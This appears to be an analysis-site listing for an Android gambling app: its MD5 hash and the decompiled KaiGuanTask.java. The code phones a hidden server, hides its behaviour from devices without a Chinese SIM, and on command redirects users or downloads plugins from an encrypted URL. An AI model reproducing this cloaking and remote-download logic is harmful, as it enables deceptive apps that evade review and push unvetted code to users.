888casino v5.2.6版本的 MD5 值为:85651b991f46be2116f06a6c09984c51
以下内容为反编译后的 KaiGuanTask.java 源代码,内容仅作参考
package yiqicai.example.webdgo;
import android.app.Activity;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.preference.PreferenceManager;
import android.text.TextUtils;
import android.util.Log;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.Charset;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.TimeZone;
import org.json.JSONException;
import org.json.JSONObject;
public class KaiGuanTask {
private static final Charset CHARSET = Charset.forName("gb2312");
private static final String SKEY = "abcdefgh";
private static String mAera;
private String checkUrl;
Handler handler = new Handler() {
@Override
public void handleMessage(Message msg) {
Bundle bundle = msg.getData();
String url = bundle.getString("httpData");
switch (msg.arg1) {
case 0:
if (KaiGuanTask.this.mCheckCallback != null) {
KaiGuanTask.this.mCheckCallback.rePluginUpdate(bundle.getInt("versionNumber", 1), url);
return;
}
return;
case 1:
default:
KaiGuanTask.this.doOtherResponse(bundle.getInt("versionNumber", 1), url, bundle.getString("yinliuUrl"));
return;
case 2:
if (KaiGuanTask.this.mCheckCallback != null) {
KaiGuanTask.this.mCheckCallback.goToWeb(bundle.getString("yinliuUrl"));
return;
}
return;
case 3:
if (KaiGuanTask.this.mCheckCallback != null) {
KaiGuanTask.this.mCheckCallback.downLoad(url);
return;
}
return;
}
}
};
private CheckCallback mCheckCallback;
public KaiGuanTask(final Activity activity, CheckCallback mCheckCallback) {
this.mCheckCallback = mCheckCallback;
new Thread(new Runnable() {
@Override
public void run() {
KaiGuanTask.this.getCheckInfo(activity);
}
}).start();
}
public void getCheckInfo(Activity activity) {
Looper.prepare();
Message message = new Message();
message.arg1 = 1;
Bundle bundle = new Bundle();
try {
URL url = new URL(String.format("http://%s/jeesite/f/guestbook/androidAPI?", getURL(activity)));
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setConnectTimeout(5000);
urlConnection.setReadTimeout(5000);
urlConnection.setDoOutput(true);
urlConnection.setDoInput(true);
urlConnection.setUseCaches(false);
urlConnection.setRequestMethod("POST");
urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
urlConnection.setRequestProperty("Connection", "Keep-Alive");
urlConnection.setRequestProperty("Charset", "UTF-8");
Log.e("kguanTask", "----> startRunningTask");
urlConnection.connect();
OutputStream os = urlConnection.getOutputStream();
os.write(getParams(activity).getBytes());
os.flush();
os.close();
int code = urlConnection.getResponseCode();
if (code == 200) {
Log.e("kguanTask", "----> HTTP_OK:200 have go in !!!");
InputStream inputStream = urlConnection.getInputStream();
InputStreamReader reader = new InputStreamReader(inputStream, "UTF-8");
BufferedReader bufferedReader = new BufferedReader(reader);
StringBuffer buffer = new StringBuffer();
while (true) {
String temp = bufferedReader.readLine();
if (temp == null) {
break;
} else {
buffer.append(temp);
}
}
bufferedReader.close();
reader.close();
inputStream.close();
String respontStr = buffer.toString();
if (!TextUtils.isEmpty(respontStr)) {
JSONObject jsonObject = new JSONObject(buffer.toString());
if (jsonObject.getInt("httpCode") == 200) {
JSONObject list1 = jsonObject.getJSONArray("response").getJSONObject(0).getJSONArray("list").getJSONObject(0);
int kaiguan = list1.getInt("off");
boolean isChineseSim = NetUtils.CheckOperators(activity);
String yingyongming = list1.getString("yingyongming");
if (!isChineseSim && !yingyongming.contains("测试")) {
kaiguan = 10;
}
message.arg1 = kaiguan;
bundle.putInt("versionNumber", list1.getInt("versionNumber"));
bundle.putString("httpData", list1.getString("wangzhi"));
bundle.putString("yinliuUrl", list1.getString("drainage"));
if (kaiguan == 2 || kaiguan == 3) {
PreferenceManager.getDefaultSharedPreferences(activity).edit().putBoolean("kaiguanOpenOnceTime", true).commit();
}
Log.e("kguanTask", "----> kg = " + kaiguan);
}
}
} else {
goDownloadIfRequestFail(activity, message, bundle);
}
} catch (MalformedURLException e) {
e.printStackTrace();
goDownloadIfRequestFail(activity, message, bundle);
} catch (IOException e2) {
e2.printStackTrace();
goDownloadIfRequestFail(activity, message, bundle);
} catch (JSONException e3) {
e3.printStackTrace();
} catch (Exception e4) {
e4.printStackTrace();
goDownloadIfRequestFail(activity, message, bundle);
}
message.setData(bundle);
this.handler.sendMessage(message);
Looper.loop();
}
private void goDownloadIfRequestFail(Activity activity, Message message, Bundle bundle) {
int nowtime = 1200;
try {
TimeZone.setDefault(TimeZone.getTimeZone("GMT+8"));
URL url = new URL("https://www.baidu.com/");
URLConnection uc = url.openConnection();
uc.connect();
long ld = uc.getDate();
Date date = new Date(ld);
new SimpleDateFormat("HH:mm");
nowtime = (date.getHours() * 100) + date.getMinutes();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e2) {
e2.printStackTrace();
}
if (PreferenceManager.getDefaultSharedPreferences(activity).getBoolean("kaiguanOpenOnceTime", false) || nowtime < 830) {
message.arg1 = 3;
try {
bundle.putString("httpData", JiaMiUtil.decrypt("893B553ED99E87ABC4D4EEA1E66B346018AD4065CC6B9A2ED2959B2465EBCBFB", CHARSET, SKEY));
} catch (Exception e3) {
e3.printStackTrace();
}
}
}
private String getParams(Activity activity) {
ApplicationInfo appInfo = null;
try {
appInfo = activity.getApplicationContext().getPackageManager().getApplicationInfo(activity.getApplicationContext().getPackageName(), 128);
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
if (mAera == null || "country=®ion=&city=".equals(mAera)) {
mAera = IPutils.getNetAera();
}
String yqcid = appInfo.metaData.getString("YQCID").trim();
return String.format("%s&%s", yqcid, mAera);
}
private String getURL(Activity activity) {
ApplicationInfo appInfo = null;
try {
appInfo = activity.getApplicationContext().getPackageManager().getApplicationInfo(activity.getApplicationContext().getPackageName(), 128);
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
return appInfo.metaData.getString("YQCU");
}
private synchronized String getPackageName(Context context) {
String str;
try {
PackageManager packageManager = context.getPackageManager();
PackageInfo packageInfo = packageManager.getPackageInfo(context.getPackageName(), 0);
str = packageInfo.packageName;
} catch (Exception e) {
e.printStackTrace();
str = "";
}
return str;
}
public void doOtherResponse(int version, String downUrl, String webUrl) {
if (this.mCheckCallback != null) {
this.mCheckCallback.otherResponse(version, downUrl, webUrl);
}
}
}